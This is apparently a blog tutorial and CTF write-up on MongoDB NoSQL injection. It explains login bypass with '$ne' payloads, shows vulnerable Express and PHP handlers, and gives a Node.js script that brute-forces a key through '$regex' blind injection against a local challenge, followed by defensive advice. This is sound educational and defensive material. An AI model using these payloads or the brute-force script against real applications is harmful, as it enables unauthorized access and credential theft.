In the last post I showed the MongoDB unauthorized access vulnerability, though it's easily ignored, but it can cause huge losses if it reveals something sensitive. And this post will talk about somthing about blind nosql injection in MongoDB.
In an early post I talked about traditional SQL injection and the defence. Actually, this classic attack is still wildly used in modern web applications. Not like traditional SQL, NoSQL like MongoDB eliminate the SQL language entirely and relay more on simple and structured query mechanism.
The SQL statement we used to query something like user login may like this in MongoDB:
db.users.find({user: username, pass: password});
We can see that it's no longer a query language in the form of a string, and we may think it can't be injected, and we may ignore the security of data, without check or filter. However, there are still many factors at play.
application/json
In HTTP 1.1, when post datas, header Content-Type
has a MIME Type value called
application/json
, which will tell the server that the coming data is a JSON document. And some servers will know how to
deal with the data. So what will happen if we post data like this:
{
"username": {"$ne": ""},
"password": {"$ne": ""}
}
If you use Express
in node
, your vulnerable code of the post request will look more or less like this:
app.use(require('body-parser').json()); // support application/json
app.post('/login', function (req, res) {
db.users.find({user: req.body.username, pass: req.body.password}, function (err, users) {});
})
Actually, the result is we get this login bypass, that means, the nosql injection succeeds. So how it works?
We post the username
and password
values a JSON document instead of a string, and the server-side receive the
data without validation and parse it. In MongoDB
, the field $ne
has a special meaning, which is used as not
equal to comparator. Hence, the username
and password
from the database will be compared to the empty string
""
and the result will return true, just like the query in mongo shell
below:
db.users.find({user: {"$ne":""}, pass: {$ne:""}})
OK, we just bypass the login using a JSON document, because the module body-parse used in Express
supports json parse.
In PHP
, the data can't be operated directly, you should get the data from php://input
, and then use json_decode
to get object.
$input = file_get_contents("php://input");
$obj = json_decode($input); // and now we get the post obj
$cusor = $collection->find(array("user"=>$obj->username, "pass"=>$obj->password));
application/x-www-form-urlencoded
Actually, I use application/json
to bypass the login above just for the clear explain about our nosql injection.
And application/json
is not used wildly, instead, we use application/x-www-form-urlencoded
frequently. When we
post data like this:
username[$ne]=''&password[$ne]=''
PHP
will auto parse our data and the username
and password
field will be a array that contains the key $ne
,
and the inject happens. In Express
, the string like username[$ne]=''
will also be parsed by a module called
qs, and the request will result into a javascript object like this:
{
username: {$ne: ''},
password: {$ne: ''}
}
It's the same as the object we used before, and the result is also the same. So we have got the login bypass already
now. Actually, I enhance this nosql injection in hctf
named lock(400)
. The source code of lock
is available in
github. I strongly recommend you should have a look about it.
Yeah, it's the same as something like login, but only the lock
field is injectable and the password
is hashed.
However, we could get the information from source code comment that the key is the same as the lock. So our hack can
be improved by using $regex in MongoDB.
lock[$regex]=''&pass=''
And now we can bruteforce it to get the correct password. The payload is below:
var request = require('request');
var util = require('util-crack');
var url = 'http://127.0.0.1:49090';
var ret = [];
var ret2 = [];
function LeftToRight (ret) {
var s = util.random(null, 1);
var lock = {"$regex": "^" + ret.join('') + s + "."}
request.post(url, {form:{lock: lock, key: lock}}, function (err, res, body) {
if (/Right/.test(body)) {
ret.push(s);
console.log('LeftToRight: ' + ret.join(''))
LeftToRight(ret);
} else {
LeftToRight(ret);
}
});
}
function RightToLeft (ret2) {
var s = util.random(null, 1);
var lock = {"$regex": "." + s + ret2.join('') + "$"}
request.post(url, {form:{lock: lock, key: lock}}, function (err, res, body) {
if (/Right/.test(body)) {
ret2.unshift(s);
console.log('RightToLeft: ' + ret2.join(''));
RightToLeft(ret2);
} else {
RightToLeft(ret2);
}
});
}
LeftToRight(ret)
RightToLeft(ret2)
You can get the ultima right key and lock comparing the last LeftToRight
and RightToLeft
result.
End
So, we can see that it's easily get mongo injected if the server receive the data without any validation. Some measures can be available to defense such nosql inject attack.
- Make sure the coming data is expected, always validate the data that user input.
- Hash the sensitive data with salt.
- Check strictly if you really want the coming data special such as a JSON document. Maybe you can have a look about mongo-sanitize
If you have something to correct, welcome to point it out:D